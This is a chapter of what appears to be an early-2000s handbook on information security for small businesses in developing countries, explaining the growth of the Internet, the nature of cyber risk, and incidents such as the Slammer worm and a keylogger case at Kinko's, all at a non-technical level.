Finally, it is essential to maintain secure information storage and communication links in this new environment. The high-tech industry is actively exploring ways of ensuring the security of its infrastructure; the participants understand that security breaches stemming from insecure hardware and software along the Internet will inhibit some of the major promises of this new medium from being realized. The establishment of trust in sound and safe computers, networks, and stored data in this new environment is as important, if not more important, as it was in an environment based upon face to face interaction.

The lesson for developing countries is clear; organizations that do not have the required level of security in their digital infrastructure and thus do not protect their content and information transmissions satisfactorily will not be trusted and might be left behind in the new global economy.[6]

The Digital Revolution

Digital technology these days includes much more than just computers. Technological progress in microelectronics has made the micro-miniaturization of complex electronic devices possible, so that you may now carry the equivalent of a roomful of computing and communications equipment in your pocket. Moreover, the improvement in the price-performance ratio for this technology is about 30% per year and likely to stay at that level for another ten years.[7] We expect this technology to flourish and drive the quest for new areas for commercial exploitation, creating a golden age for digital appliances.

Modern telephone equipment is completely digital in nature; mechanical relay switching devices have been replaced with special purpose computer systems. Since the development of the CD in the early 1980s, music and other sound recordings have been making a transition to digital form. With the introduction of the MP3 music format in the late 1990s, music and sounds have been recorded digitally, even in home environments. Even data dense images are now digitized and cameras that record digital images are rapidly replacing images recorded on photographic film for many applications. Even movies and animation are going digital, as the costs of the relevant production and dissemination technologies are declining. The DVD is starting to replace videotape, movies are made and edited with digital enhancements, and the movie industry is beginning to distribute titles digitally, instead of on reels of celluloid film. Electronic projectors are now in use in some theatres.

Cell phone standards, both *de facto* and *de jure*, are moving to digital, with protocols such as GSM, CDMA, TDMA and their variants and spin-offs displacing the earlier generation of standards based upon analog technology. In developed countries, digital television has been introduced and may eventually displace existing broadcast standards, although this change is likely to come more slowly because of the large base of installed home receivers that depend on the older standards.

Physical security systems are also becoming digital in nature. In hotels, apartment buildings, and offices, physical keys are being replaced by digital access cards. Television cameras used for monitoring security are often deployed on digital platforms, sending digitized images to monitoring stations on a network instead of sending a television signal to a standard video monitor.[8]

---

[6] Braga, Carlos Prima, Inclusión or Exclusion, UNESCO Courier, available at: http://www.fcc.gov/Bureaus/Miscellaneous/News_Releases/1997/nrmc7020.html

[7] This rate of technological advance is a corollary of 'Moore's law,' described by Gordon Moore, the father of Intel, in the 1960's. He observed that every two years (later shortened to 18 months), the technology allowed manufacturers to produce chips with double the capacity for about the same price. This trend has been observed for the past 40 years, and the industry expectation is that it will continue for another 10 years.

[8] Interestingly enough, this particular transformation may well export jobs to developing countries. Once the images are in digitized form and transmitted on the Internet, they can be sent to a monitoring system anywhere on the net. It has been suggested that this security function, which does not require specialized skills, could be set up in developing countries at lower costs, and with equal quality of service. The suggestion is welcome in a development context, but could have physical security implications in that the outsourcing depends upon crossing national boundaries.

Many of the services that we use today would not be possible without computers and networks and the digital technology on which they are based. Airlines would not be competitive without computer based reservation systems and flight and maintenance support systems. Planes themselves depend massively on electronic sensors and digital controls and would be unable to function without them. Even automobiles use microprocessors to function and to assist in their maintenance today. Global Positioning Systems (GPS) permit you to know where you are anywhere on the earth. With this relatively inexpensive device and a computer containing a base of maps, you are able to track where you are going, find important landmarks, restaurants, entertainment, or services along the way, and ultimately to reach your destination.

These digital devices are being networked at a rapid rate. Cell phones 'talk' to the Internet, transmitting initially voice and now pictures. Soon they will have GPS capability, so that people in trouble can be located with great precision when they make an emergency call. Many of the services we use, such as ATM machines for disbursement of money, rely on network access. Inter-bank and international financial transfers have long depended upon financial networks;[9] nowadays, electronic personal banking transactions are accessible to individuals via the Internet.

This explosion of digital electronics and interconnected devices presents many opportunities, but it also has a dark side. It is becoming easier for people to track where you are, to catalogue what web pages you visit, to study what you purchase at stores, and to observe what you read and watch online. If such monitoring is intended for your benefit, you probably won't object to it, but you will want to be sure that such data is collected with your permission and is used only for the purposes that you understand and agree to. Most individuals value their privacy and many governments have chosen to uphold individual rights to privacy to a certain extent, though the level of protection varies from country to country. The challenge for governments is to assure that we can realize the benefits of emerging technologies and still maintain the values and freedoms that we enjoyed without them. This is a challenge that requires governments to understand the new technologies and evaluate how the devices and capabilities interact with our freedoms. Government must also take proactive steps to ensure that legislation and public policy reflect a lasting commitment to maintaining, if not strengthening, the freedoms that exist currently.

We often refer to the digital world as *cyberspace*.[10] Cyberspace includes all of the computers and other digital devices that are connected to both internal and external networks and can communicate with each other. We can talk about meeting in cyberspace and doing things in cyberspace, as opposed to physical space. For readers of this Handbook, in particular, it is useful to make a distinction between behavior in cyberspace as opposed to the "real world" in which we live, work, and play.

The rapid spread of the personal computer and the Internet to developing countries has brought many benefits to all sectors in those countries. However, the Internet by itself is not necessarily a medium secure from malicious behavior. The opportunity cost of not paying adequate attention to security can be the loss of valuable data needed to run an enterprise or a government agency. Among other things it can include destruction of essential records, identity theft, and theft of financial resources, outcomes that cannot only ruin a company, but that can contribute to a reputation of unreliability for an entire industry in a country.

---

[9] The interbank financial transfer network has in the past used a special, highly secure, special purpose network, not logically connected to the Internet. This is appropriate, given the high value added nature of the network and the very serious consequences of any compromise of the network.

[10] "Cyberspace" was originally coined by author William Gibson to mean a parallel universe created and sustained by the world's computers. The term cyberspace was actually invented by William Gibson and used in his 1984 novel, *Neuromancer*. "A consensual hallucination experienced daily by billions of legitimate operators, in every nation, by children being taught mathematical concepts... A graphic representation of data abstracted from the banks of every computer in the human system. Unthinkable complexity. Lines of light ranged in the nonspace of the mind, clusters and constellations of data. Like city lights, receding..." This definition may be useful for literary purposes, but the meaning of the term has shifted substantially from Gibson's usage.
See Intven, *et al.*, Legal and Regulatory Aspects of e-Commerce and the Internet, The World Bank Legal Review, vol. 1 2003, at fn 17. (Kluwer).

As the Internet expands and issues regarding cyber attacks become more widespread, the number of such incidents is increasing:

"Although computers have up to this point been spared a major cyber attack from terrorists or rogue nations, there have been plenty of smaller acts of vandalism by individual troublemakers. The Computer Emergency Response Team (CERT) tracked 52,658 online security incidents in 2001, more than double the number reported in the previous year, and more than four times the number reported the year before that."[11]

The issue of the security of computers and networks is especially important for developing countries. The Internet can essentially eliminate any disadvantage due to distance or remoteness of location and it can provide access to an enormous amount of content, no matter what the distance is between the person requesting the content and the content repository itself. Together with the World Wide Web, the Internet can place businesses in developing countries on a more equal footing with respect to information about companies, their capabilities, and their products. Furthermore, search engines do not make a distinction between web sites based on geography, so that suppliers of goods and services in developing countries can be seen on a par with suppliers of those goods and services based in developed countries.[12] This is sometimes referred to as the "death of distance,"[13] a phrase which graphically describes what the Internet has accomplished for information and information flows.

However, there are the real risks to business of loss of records, denial of service attacks, corruption of information, and other hostile attack effects. For a business to have all or part of its electronic records altered or erased can be devastating. For a country to have a reputation for weakness in IT security can taint its industries, regardless of the actual extent of damage that may have occurred. Lack of attention to security can result in both real and perceived damages, and can result in business failures in countries which need the confidence of external business relationships in order to prosper. Achieving the Millennium Development Goals depends on developing countries being able to use information technologies effectively and to increase their wealth by becoming integral members of global commerce.[14] The ability to obtain and supply relevant information easily can help countries in all areas of civil society, whether it is education, health care, commercial development, expansion of international markets and trade, or strengthening of local cultures.

Unfortunately, all of the manifestations of human behavior possible, good and bad, have moved into cyberspace and can be observed there. Since it is easy to copy digital content and edit it, it is also easy to falsify information, including the modifying and forging official documents. Because the Internet evolved from a cooperative research environment, where the goal was to share information easily, the underlying structure makes it possible to break into computers and steal confidential information. The motivations of people who exhibit such behavior in cyberspace are similar to the motivations that drive them in the real world, with one significant exception. The environment created by computers and the Internet has brought out tendencies in certain people to prove that they can break into systems or cause other problems. Much of the mischief in cyberspace is caused by "crackers" who simply want to prove that they can defeat any security barriers that may be in their way. The equivalent behavior in the real world consists of someone who demonstrates that he can break into your house but after doing so, leaves. Not only does this generate a profound feeling of insecurity, but it also raises the question of whether anything was taken or changed, or whether the next attempted entry will be more malicious. Just as such behavior in the real world can't be tolerated, neither should it be tolerated in cyberspace. Techniques in this Handbook will help you to guard against such malicious behavior.

---

[11] Reuters/USA Today, April 16, 2003.

[12] Search engines do differentiate on the basis of language, so that as in the real world, you have to speak in the language of your target market. Search engines may also not have the patience to retrieve web pages at the tail end of slow connections. However, businesses can host their web sites anywhere in the world, so that information can be placed close temporally to target markets. Some businesses mirror their web sites, i.e. create copied in different geographic regions so that customer access time is minimized.

[13] ?, Cairncross, F., The Death of Distance: How the Communications Revolution will Change our Lives, Harvard Business School Press (1997).

[14] Information and Internet security are one of the three main topics on which the World Summit on the Information Society will focus at its conferences in Geneva in December 2003 and in Tunis in April 2005. This is additional evidence of the broad recognition that the role of ICT for development is achieving.

Nothing in this Handbook or in cyberspace should make you reluctant to learn about computers and the Internet and exploit them to the fullest. Today's Internet represents the beginning of a wonderful set of transformations of the world's stock of information and knowledge, including the ability to distribute it to the general public inexpensively; information can be efficiently and effectively shared for the good of all. However, in order to realize this goal, we need to take account of possibilities and behaviors that may stand in our way. We're familiar with the concept of being "street smart" in the real world. We must now learn how to become street smart in cyberspace, or "cybersmart;" this Handbook is meant to help you accomplish just that.

What Is Security?

The notion of security in the real world is an intuitive one for most of us. In prehistoric time, security was defined by the essentials of survival such as security against attack by others or by animals, as well as security of the food supply. Other needs, such as security against the ravages of nature or against sickness were generally not available to them. As civilization progressed, the scope of security evolved to include having a place to live and sleep without harm. Along with the concept of private property came the notion of security of possessions.

Much of what we do in the world involves risk, although most of our actions involve minimal risk. For example, when we travel in an unfamiliar neighborhood, or city, or country, we are conscious of the fact that there are threats to physical security. These threats are more substantial if we are in an unprotected place and we meet someone who may be able to take advantage of us. If we are sufficiently concerned about the risk, we will avoid the location or we may choose an alternative, such as joining someone else to return to a safer location, or taking a taxi.

Some actions involve psychological or financial risk, but not physical risk. When we make an investment of any kind, say in land, in stock, or in a business, we do so with the expectation that we will obtain a return on that investment that is sufficient to justify it. As we know, some investments provide that return, even handsomely, while others do not. Some investments involve emotional risk. When we commit ourselves to a personal relationship, we hope that the relationship will provide emotional security, though we accept the risk that it may not develop that way.

In some areas, it is impossible to obtain the degrees of security that we would like to have. For example, we would all like to live a long and healthy life and many of us will do so. However, what is true for a statistical average of lifetime expectancy is not true for all individuals; some of us will die at an early age, some will develop debilitating illnesses, and others will live, in good health, to old age. Where risk of this sort is concerned, we compensate for our inability to control our physical fate with insurance that protects us against the financial impact of such events, loss of earnings in the case of illness, for example. Such arrangements highlight a truth about security: absolute security is impossible to achieve in real life and in cyberspace. However, security that is "good enough" is likely to be achievable in almost all circumstances.

There are a variety of ways in which we have historically enforced or provided enforcement mechanisms for enhancing and protecting our security. We have physical mechanisms for ensuring the security of our possessions: sturdy building construction, solid doors, and keys and locks. We may rely on other physical barriers, such as walls and other deterrents. We may choose to keep lights focused on an area of potential entry. Finally, assuming that an intrusion is initially successful, we can use alarm systems to detect it and to notify a stronger deterrent force that we need assistance. If an intrusion has been successful, we have forensic techniques at our disposal to search for clues to the event and to track down the culprit. Most important, we can rely upon civil and criminal laws and a system of enforcement and justice that each of our countries is evolving in response to our national needs.

Often we use multiple methods of maximizing our security so that if one method fails, another may work. If a key has been stolen and the lock in the door is no longer a barrier, the alarm signal may suffice to provide notice of an intrusion. The extent to which multiple barriers are used is, of course, related to the value of what is being protected. The extent to which physical security measures are put into effect is related both to what is to be protected and to the reasonable expectations that it will be attacked.

All of these deterrents and methods have their analogues in cyberspace. We're not as familiar with them as we are with physical security issues, but we need to understand them and know how to use them if we are to live as securely in cyberspace as we do in the real world. In both worlds we need to protect our assets, to defend them if attacked, and to recover if the attack is successful.

The dictionary definitions of security are consistent with conditions we associate with security, such as "the quality or state of being secure, freedom from danger, and freedom from fear or anxiety.[15] However, such definitions do not seem really helpful in the context of cyberspace. Instead, we suggest the following: you are secure in cyberspace when access to your information resources is under your control, i.e. no one can do anything to the resources that are yours without your express permission. The resources include computational, access, network, transaction, process and information resources. Of course, some of these resources may have been provided by others for your use, such as an account on a shared computer or access to the Internet by an Internet Service Provider. While they are never completely secure, you have effective control over having continued access to them to the extent that you follow the rules that the providers set for their appropriate use.

An example of the nature of cyber-security is provided here; the recent discovery of a flaw found in the core of the Microsoft Windows operating system:

"Microsoft Corp. acknowledged a critical vulnerability Wednesday in nearly all versions of its flagship Windows operating system software, the first such design flaw to affect its latest Windows Server 2003 software.

Microsoft said the vulnerability could allow hackers to seize control of a victim's Windows computer over the Internet, stealing data, deleting files or eavesdropping on e-mails. The company urged customers to immediately apply a free software repairing patch available from Microsoft's Web site…

The flaw, discovered by researchers in western Poland, also affected Windows versions popular among home users. "This is one of the worst Windows vulnerabilities ever," said Marc Maiffret, an executive at eEye Digital Security Inc. of Aliso Viejo, Calif., whose researchers discovered similarly dangerous flaws in at least three earlier versions of Windows. Maiffret said that inside vulnerable corporations, 'until they have this patch installed, it will be Swiss cheese – anybody can walk in and out of their servers.'

But four Polish researchers, known as the "Last Stage of Delirium Research Group," said they discovered how to bypass the additional protections Microsoft added, just three months after the software went on sale. Although the Polish researchers created a tool to demonstrate the more serious vulnerability and break into victim computers, they promised not to release blueprints for such software onto the Internet …

Some experts said they expected hackers to begin using this new vulnerability to break into computers within months. Even without detailed

[15] Merriam-Webster OnLine Dictionary.

blueprints from researchers, hackers typically break apart the patches Microsoft provides for clues about how to exploit a new flaw."[16]

As individuals and employees within organizations we have no control over the code contained in proprietary programs like Microsoft Windows. We trust that software vendors have a strong interest in making their programs error free and secure. However, few large programs are completely error free. In response, we can take action when such problems are reported by making an informed judgment whether to download and install the vendor's 'fix' for the error. This is the extent of control that we have.

In real life, we are already knowledgeable about how we protect our information resources. We understand that some information needs to be kept private while other information can be freely circulated. We lock file cabinets and office doors and may store copies of critical information off-site to guard against loss through fire and natural disasters. We know that some information should only be circulated to a limited number of people and we trust different people to different extents depending upon the confidentiality of the information at hand.

The nature of threats to security in cyberspace is conceptually no different than the nature of threats in the real world. The differences come from the characteristics of the electronic space in which the threats appear and the manner in which they can be thwarted, avoided, detected and resolved.

The notions of privacy and confidentiality are related to security. Information that is meant to be private can only be kept private if it is stored in a secure manner. With information in the real world, that may be accomplished by acting as if the information does not exist; such a security policy might be termed "security by obscurity." Similarly, information that needs to be confidentially shared requires that it be kept secure from those outside the group who are sharing it. If the group is not all in the same place, adequate security policies must include a way of keeping the information secure when it is transmitted among members of the group.

Similar situations exist in the world of cyberspace. However, given the nature of cyberspace and the interconnectedness of the computers within it, the policy of security by obscurity is weak policy and should be avoided. This Handbook will provide details on the special security measures required in electronic space (cyberspace) at several levels.

Emergence and Growth of the Internet

The computing and networking environment from which today's Internet evolved had its origins in a cooperative research and education culture. When the ARPANET, the predecessor to the Internet, was first implemented, the main goal was to share resources among groups of researchers in different geographical locations. The groups had compatible goals and worked toward sharing both computing resources and data. Access to the network was restricted to members of the group, so there was no need to be concerned about security at the time. The intent and design of the World Wide Web exemplifies this; it provides substantially better tools for discovering information resources and for making one's own information available to others, without any mechanisms for obtaining permissions or facilitating financial settlements.

The culture of sharing among researchers and academicians that was born in and nurtured by the ARPANET lasted well into the 1990s, and there are still vestiges of it today. It included the notion of making information as available as possible, and that tradition still exists in the form of the World Wide Web, where content of all kinds is being provided, almost free of charge, to hundreds of millions of people around the world. It was a strong culture, and it was responsible in large part for why the Internet has grown to such an enormous size today. Its ethics are reflected in the words of people who are Internet "evangelists," who see the power of the medium for development, and who work to make it happen. Sometimes called the spirit of the Internet, it is reflected in the mantra that "information wants to be free."

An alternative way of describing this situation is that the early Internet was based on trust; the community of users trusted each other implicitly to work for the

[16] Ted Bridis, The Associated Press July 16, 2003.

common good. As the Internet has broadened its reach and included more and more people with diverse interests and objectives, the trust model has become insufficient. One of the major challenges for today's Internet is to develop a new trust model that is realistic, easy to implement, and effective in its application.

The Internet is different from earlier communications systems in a variety of ways, but several are particularly important. Some differences are best understood when compared to the public switched telephone network (PSTN) that is used worldwide on a daily basis.

The Internet is based upon a model of information transmission called *packet switching*. Every time information is transmitted over the Internet, it is broken up into packets of binary data. The packets are encoded and sent independently over the network, possibly by different routes, and the information is reassembled at the receiving end. This mode of transmission is called packet switching, as opposed to circuit switching. The public switched telephone network uses circuit switching, in which each telephone call is allocated a single circuit for the duration of the call, no matter how much or how little sound is being transmitted at any given moment.

The Internet is "stupid"[17] in that all it knows how to do is to deliver packets from an origin connected to the network to a destination connected to the network. All services originate at the edge, or the boundary, of the Internet in the computers attached to it. This is in contrast to the PSTN where the intelligence is at the center of the network (at the switch), and the user instruments at the edge have little functionality other than being used for speaking and listening.

The Internet is global. It connects many countries, and information generally flows freely across national borders. This characteristic raises interesting policy concerns not necessarily directly concerned with security. The PSTN is also global, but the methods of accessing phones in different countries are not as opaque as they are with the Internet. The user knows that he is dialing a foreign country, for example, whereas he may access a website without knowing where the servers are located.

The Internet is open. Formally defined as a network of networks, any network that conforms to a family of protocols known as TCP/IP (Transmission Control Protocol/Internet Protocol) can connect successfully with it and become a part of it. The standards defining this family of protocols come from the work of the Internet Engineering Task Force (IETF), an informal technical body based on technical meritocracy and the creation of implementable consensual standards.

The Internet is decentralized. There are no system-wide gatekeepers. If you obey the "rules of the road," i.e. the TCP/IP standards, you can connect your computer or your network to the Internet.

The Internet is abundant. The barriers to entry are low and the amount of bandwidth, (i.e. how fast you can transmit data through it) depends upon the carrying capacity of the copper wires, fiber links, or satellite channels that are in the path. No scarce electromagnetic spectrum is involved for the Internet backbone. Where radio spectrum is used, for example in the deployment of local area wireless networks, often called "Wi-Fi," the relevant protocols or rules implement a sharing arrangement for the available spectrum rather than a rigid allocation that ultimately denies access to the network.

The Internet is relatively inexpensive for the average user in parts of the world where local calls are free. The price of access over dial-up lines and at cybercafés and other public Internet access points is descending in such countries, so that access is becoming broadly affordable for a greater percentage of the world's population.

The Internet erodes the traditional barrier between author and publisher; you can become a publisher or establish a network service on your computer if it is permanently attached to the Internet. You can advertise the services and, subject to permissions that you establish, anyone else connected to the Internet can connect to your computer and use those services. The Internet is by and large user-controlled. In many countries, you can choose whether your messages and other transmissions should be encrypted or not.

[17] See, Lessig, L, The Future of Ideas, Random House (2001).

In addition, filtering of messages for whatever reason is under your control, although you may wish to have an external source do it for you, such as instructing your Internet Service Provider (ISP) to filter out spam messages according to rules that you set up.

The Internet is interactive. You can move quickly and easily between access to multiple content providers and sending and receiving electronic mail with many people. While waiting times for on-line services depend upon the size or bandwidth of your connection to the Internet, it is often possible to get response times that support your activities.

The Internet can be vulnerable. Based initially upon a concept of providing services to a relatively homogeneous, cooperative group of people, certain aspects of trust were assumed rather than required to undergo strict verification. This Handbook addresses the Internet's vulnerabilities and provides you with a set of best practices in security that will help you to minimize your vulnerability.

Based on the above characteristics, you should be getting a picture of an Internet that is supportive and permissive of many kinds of activity, rather than one that is restrictive and controlled. This openness strongly reflects the academic and research roots of the Internet, and is responsible for its usefulness for all of us. The Internet was not designed to maximize security, but instead to maximize the fruits of collaborative work; such a degree of openness has provided opportunities for some people to misuse the network in ways that are harmful to others. We need to understand what those misuses are and guard our networks against them.

Information Security Issues

The concepts of computer, network, and data security in cyberspace are similar to issues in the real world, however, the mechanisms are different. For example, in place of keys (physical or electronic), we have passwords to accounts that allow access to information and services. In place of sealed envelopes, we are able to encrypt information so that it is not readable by others who cannot unlock that information with the right key.

In comparing the real world with cyberspace, we also observe some of the same violations of trust and confidentiality. In both worlds, it is possible to forge a false return address and even a false signature. In both worlds, it is possible to provide misleading or erroneous information. In both worlds, it is possible to deluge someone with information, either accidentally or deliberately, making it impossible to determine which information is important and relevant.[18] And in both worlds, it is possible to gain access to confidential information and use it in unintended or illegal ways.

There are, however, three important differences.

First, violations of security of all types of cyberspace can take place very rapidly. That means that by the time you understand what is happening to your information assets, it may be too late to prevent damage. Of course, not all violations occur quickly; some attacks are observable as they occur and take time to execute. The lesson to draw from this is that preventive measures taken to protect against violations are far superior to detecting a violation while it is happening or after it has been completed.

Consider the following account of the 'Slammer worm,' which severely disrupted the Internet early in 2003. All continents and many countries were affected, including many developing countries.

> "Slammer (sometimes called Sapphire) was the fastest computer worm in history. As it began spreading throughout the Internet, the worm infected more than 90% of vulnerable hosts within 10 minutes, causing significant disruption to financial, transportation, and government institutions, and precluding any human-based response ... "
>
> "Slammer began to infect hosts slightly before 0530 UTC on Saturday, 25 January 2003, by exploiting a buffer-overflow vulnerability in computers on the Internet running Microsoft's SQL server or Microsoft SQL server Desktop Engine (MSDE) 2000. David Litchfield of Next Generation Security Software

[18] The S.S. Titanic used relatively primitive radio to communicate from ship to shore. On its first voyage, the radio operator was so deluged with congratulatory and personal messages that a critical message, warning of significant icebergs in its path, was not identified as important or acted upon. The ship struck an iceberg and sank several hours later.

> discovered this underlying indexing service weakness in July 2002. Microsoft released a patch for the vulnerability before the vulnerability was publicly disclosed (www.microsoft.com/security/slammer.asp). Exploiting this vulnerability, the worm infected at least 75,000 hosts, perhaps considerably more, and caused network outages and unforeseen consequences such as cancelled airline flights, interference with elections, and ATM failures."[19]

Second, you do not have to be physically present at a location, or even in the same country, to commit a security violation in cyberspace. This means that someone in Europe, for example, can probe the security of computers in India just as easily as a person located across the street from the target. In cyberspace, the threat can come from anywhere on the network. It may be directed at a known target, the target may have been selected at random, or it may have been chosen because its Internet address was in a range of addresses being probed as a unit. This omnipresent threat should change the way in which we think about security and the profile of our possible adversaries. It is worth noting that the Digital Millennium Copyright Act makes it illegal to design software that decrypts encryption software; national and global copyright regimes on this and other matters related to copyright and data protection are in active development at the present time.[20]

Third, cyberspace provides a powerful but complex environment, in which the responsibility for security is divided among multiple players. If you are a user of computing and network services, there are a number of ways to protect yourself and your personal computer. However, you cannot control your ISP's security policy or its implementation. Nor can you control your client's software, even if you are closely linked with their systems. Thus you need to assume a protective stance over your own assets, while being aware that the connections you are making with the outside world prevent you from eliminating all vulnerabilities on the network.

What are the possible risks in cyberspace? If you take no security precautions at all, here are some of the possible consequences:

Information destruction. The data stored on your computer could be deleted. It might be possible to recover it, but it could take time and the recovery might not be complete. If you are a government agency, your ability to perform your functions during this period may be compromised.

Information theft, and loss of privacy. You may or may not be aware of the theft immediately (or ever) and it is unlikely that you will know who took your data, what was taken, or what will be done with it. If a great deal of your personal information is taken, the thief might be able to steal your identity with unknowable, but probably serious, consequences.

Loss of information integrity. The information on your computer could be modified without your knowl edge. Depending on what kind of information you keep, the consequences could range from trivial to disastrous.

If the data include enterprise financial records, customer information, order status, or personnel files, your business dealings could be adversely affected,

Loss of network integrity on other systems and/or networks. Although you may not be attacked directly in this case, other computers to which you have access may be attacked with trickle down consequences to you. If you are a financial institution, you may not be able to complete financial transactions during the recovery period.

Keystroke capturing. Hidden software could be installed on your computer that would capture your keystrokes and send them to another computer. This could compromise your access to external sources, such as a protected web server, an e-mail server, financial transactions, or confidential information. Authentication tokens such as credit card numbers and passwords could be obtained by the thief and used in later transactions for his or her personal gain.

---

[19] Moore, Paxson, Savage, Shannon, Staniford and Weaver, "Inside the Slammer Worm," *IEEE Security and Privacy*, Vol. 1, No. 4, July/August 2003, pp. 33-39.

[20] For an overview of recent thinking on the Act, see the U.S. Copyright Office Digital Millennium Copyright Act Study at: http://www.copyright.gov/reports/studies/dmca/dmca_study.html
The DMCA itself is available as a pdf file: http://www.copyright.gov/legislation/hr2281.pdf

Denial-of-Access. You could be denied access to your own information, even though it has not been erased. It might appear in encrypted form, where only the intruder has the decryption key.

The cost associated with recovering from any of these attacks is likely to be substantial, and the recovery process is likely to be inconvenient at the least. If you are the director of an enterprise with a critical dependence on your electronic data resources, an extremely malicious attack could lead to the demise of your enterprise. Note that the Slammer worm was indifferent to which countries it invaded and which organizations and computers it disabled; any computer that did not have a Microsoft patch installed was attacked.

One noteworthy security breach that succeeded for more than a year illustrates the novel ways in which security can be compromised in cyberspace:

> "NEW YORK (AP) - For more than a year, unbeknownst to people who used Internet terminals at Kinko's stores in New York, Juju Jiang was recording what they typed, paying particular attention to their pass words. Jiang had secretly installed, in at least 14 Kinko's stores, software that logs individual keystrokes. He captured more than 450 user names and passwords, using them to access and even open bank accounts online.
>
> The case, which led to a guilty plea earlier this month after Jiang was caught, highlights the risks and dangers of using public Internet terminals at cybercafes, libraries, airports and other establishments. "Use common sense when using any public terminal," warned Neel Mehta, research engineer at Internet Security Systems Inc. "For most day-to-day stuff like surfing the Web, you're probably all right, but for anything sensitive you should think twice." Jiang was caught when, according to court records, he used one of the stolen passwords to access a computer with GoToMyPC software, which lets individuals remotely access their own computers from elsewhere. The GoToMyPC subscriber was home at the time and suddenly saw the cursor on his computer move around the screen and files open as if by themselves. He then saw an account being opened in his name at an online payment transfer service. Jiang, who is awaiting sentencing, admitted installing Invisible KeyLogger Stealth software at Kinko's as early as Feb. 14, 2001."[21]

This Handbook is about security as applied to users, both in the home environment and in small to medium-sized businesses. Therefore, it contains extensive information on security issues, including threats and outcomes of attacks, approaches to protection of your computers, networks, and data, and also policy issues that must be considered before an effective security strategy may be implemented. The ultimate purpose of this Handbook is not to frighten users away from resources offered by the new digital environment, but to empower users to take advantage of this exciting new world in a safe and secure manner. The objective is to develop an in-depth and realistic understanding of what the security problems are, in order to minimize vulnerabilities and reap the benefits from the many positive and powerful aspects of ICTs.

What Motivates the Security Violators?

In real life, there are a variety of motivations for crimes against personal or organizational security. Financial gain is a major incentive, as is revenge against someone or something that a person feels has wronged them in some way.

The same motivations exist in cyberspace, but there is an additional motive that is apparently quite compelling. Cyberspace is seen as a challenge by one group of people, often called "crackers," who regard the ability to break into accounts and be mischievous as a game or sport. In other words, they consider it an achievement to be able to break into computer accounts, databases, and network equipment just because it is there, whether or not someone has protected it. This type of behavior does not have a significant analog in the real world.

Crackers generally regard their activities as a victimless crime. What does it hurt, after all, if an account or a

[21] Associated Press bulletin, July 23, 2003.

database is broken into, and nothing is altered or stolen? They discount the legal implications and the consequences of such actions. They also disregard the victim's feeling of insecurity that such actions are likely to generate. The analogue in the real world is knowing that someone has broken in to your home and can do so again anytime; it is an intolerable feeling.

Ironically, the Internet aids would-be security violators in an unfortunate manner. Some crackers build "break-in kits" that provide novice crackers the ability to employ sophisticated tools in their efforts. Such tools are often posted in well-known Usenet News Groups, where they can be inspected and downloaded by anyone with access to the Internet. While many of these kits may be harmless, one is never sure, and it is certainly possible to modify a so-called harmless kit to do real damage to the computers and accounts that are accessed with the kit. Here is a recent example of such activity:

> "CERT Advisory CA-203-18 documents the latest critical Windows security hole, while CNet reports that a Windows exploit for another flaw could pave the way for a 'major worm attack':
>
> A hacker group released code designed to exploit a widespread Windows flaw, paving the way for a major worm attack as soon as this weekend, security researchers warned. The warning came Friday, after hackers from the Chinese X Focus security group forwarded source code to several public security lists. The code is for a program designed to allow an intruder to enter Windows computers.
>
> The X Focus program takes advantage of a hole in the Microsoft operating system that lets attackers break in remotely. The flaw has been characterized by some security experts as the most widespread ever found in Windows."[22]

This trend toward attacks of increasing power by relatively unsophisticated people is a long-term trend.

Not all security violations involve computers and the Internet. Automatic teller machines (ATMs) have been used for theft of confidential information. In one case, (in the State of Connecticut in the United States) thieves installed what looked like an ATM machine in a shopping center. When people tried to obtain money from it by entering their card and numeric passcode, the machine reported that it was unable to complete the transaction. However, it recorded the card number and passcode so that unauthorized withdrawals could be made at a later time. In a variant of this method, thieves tapped legitimate ATM machines so that they could record the information as transactions were being completed. Later, the information was used to make unauthorized withdrawals.

Although most visible cyber crimes have been traced to individuals, organizations including governments, are also capable of manipulating aspects of cyberspace for their own purposes. Organized crime may well have an interest in manipulating the network so as to cause results that are in their interest but also represent criminal activity against others. For other organizations, it may be in their interest to manipulate the results of a poll, or even an election, to obtain falsified but favorable results for themselves. Some such groups are well funded and organized, and could in theory pursue such strategies intensively.

It's clear that the potential benefits of our new digital era are enormous. It's important that we protect those benefits by securing our physical environment, our infrastructure, our computers, our communications links, and our information resources. The first step in doing this lies in understanding enough of the technology to make wise decisions on how to provide the required level of security. Many of us have multiple roles: we may use these resources as individuals, we may have a responsibility for the digital systems and services in an organization, and we may be participating to help government adopt and implement policies supporting adequate security.

In each of these roles, we have a responsibility to ascertain that adequate security exists. Unfortunately, security in a complex environment is often only as strong as its weakest link; we must work to ensure that the components over which we have some control are sufficiently robust to defend against the threats that we believe exist.

---

[22] CNet News.com, July 25, 2003.

Importance of Security for SME's in Developing Countries

While security is important for everyone, it is of special importance for small and medium enterprises in developing countries. The rewards of being able to move into global markets with the assistance of ICTs can be significant, but the risks of doing so in an insecure manner are substantial.

Many businesses have already made the transition from manual operations to computer-assisted management of the business. Stand-alone computers have been used in many aspects of business in developed countries for some time. Along with the introduction of new computer resources, managers have had to learn about operational issues such as backup, maintenance, software updates, and computerized audit trails, all of which have implications for computer, network, and data security.

With the introduction of network connections, and the possibility of engaging in e-business, the systems and management processes deployed need to be viewed differently. Stand-alone systems are generally product-centered or process-centered, including inventory, ordering, and/or processes such as manufacturing, general ledger, and accounts payable and receivable. Successful on-line e-business systems are organized in a different way; in order to succeed, they need to be designed as customer-centric, with the system tracking the customer's progress through a search for and evaluation of products, placement of an order, completion of the financial transaction, and tracking of the sale shipment. Product and process issues are still important, but now they are subservient to the primary need to track the customer's journey through the business's web site and to assemble and execute any transactions that the customer specifies and submits on-line. Such a redesign is essential for success, but requires an altern ative approach to customer transaction management, an approach that, if implemented without caution, may open the door for new forms of security breaches.

Small and medium enterprises should be aware that the reorientation of business systems for deployment on the Internet involves new types of risks. One type of risk, in particular, is new: the possible compromise or theft of intellectual property assets that are held (and perhaps sold) by the firm. To the extent that goods and services sold are information products, there is the possibility that they will be replicated illegally and distributed either for free or in the gray markets, where profits accrue to the thieves and not the firm that produced the work.

